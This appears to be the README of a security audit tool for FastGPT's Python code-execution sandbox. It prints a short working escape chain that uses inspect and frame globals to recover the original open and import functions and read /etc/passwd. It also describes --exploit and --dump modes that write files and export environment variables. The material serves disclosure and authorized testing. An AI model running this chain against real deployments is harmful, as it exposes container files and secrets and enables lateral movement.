fastgpt-sandbox-audit

Ferramenta de auditoria de cadeia de escape de sandbox Python do FastGPT.

O nó "Execução de Código" do fluxo de trabalho do FastGPT envia o código Python do usuário para uma sandbox independente. Na v4.14.8, a proteção da sandbox é puramente em camada Python (lista negra de módulos + verificação AST + guarda de open + guarda de import). Esta ferramenta detecta e valida as cadeias de bypass dessas proteções:

import inspect                        # inspect 不在 _DANGEROUS_STDLIB 黑名单
g = inspect.currentframe().f_back.f_globals   # AST 检查不拦单下划线帧属性
f = g['_original_open'](https://github.com/qianlijaingshan/fastgpt-sandbox-audit/blob/main/%27/etc/passwd%27)        # 模块全局暴露原始 open 引用
imp = g['_original_import']                   # 模块全局暴露原始 __import__ 引用

Versões aplicáveis

Versão	Arquitetura	Status
v4.14.7	NestJS + Fastify + seccomp	CVE-2026-32128 (remapeamento de stdout via fcntl)
v4.14.8	Bun + Hono + worker.py	Cadeia de escape deste artigo; escape completo (qualquer arquivo no contêiner + movimento lateral na rede)
main	Go native chroot + seccomp	A camada Python também é contornada; o chroot limita o impacto ao contêiner

Uso

Apenas biblioteca padrão, Python 3.8+.

# 静态检测 worker.py 防护配置（不执行 payload）
python3 fastgpt-sandbox-audit.py --check

# 对真实 worker.py 跑完整逃逸链（读 /etc/passwd + 写文件）
python3 fastgpt-sandbox-audit.py --exploit

# 导出环境变量（前 20 个 key）
python3 fastgpt-sandbox-audit.py --dump

# 指定 worker.py 路径
python3 fastgpt-sandbox-audit.py --worker /path/to/worker.py --exploit

--exploit requer um worker.py real (o processo worker Python da sandbox do FastGPT v4.14.8); por padrão, lê ./worker.py do diretório atual e envia o payload através do próprio protocolo JSON de stdin ({"type":"init"} → {"type":"task","code":...}).

Verificações

Saída do modo --check:

=== fastgpt-sandbox-audit: 防护配置检查 ===
[风险] inspect 不在 _DANGEROUS_STDLIB 黑名单 -> 可 import
[风险] AST 检查未拦截 f_globals 属性
[风险] 模块全局暴露 _original_open -> 可被 f_globals 窃取
[风险] 模块全局暴露 _original_import -> 可被 f_globals 窃取
[提示] worker.py 无 seccomp (4.14.8+ 纯 Python 防护)

Aviso de isenção de responsabilidade

Esta ferramenta destina-se exclusivamente à pesquisa de segurança e a testes de segurança dentro do escopo autorizado. Testar sistemas de terceiros sem autorização pode violar leis e regulamentos; assuma a responsabilidade correspondente.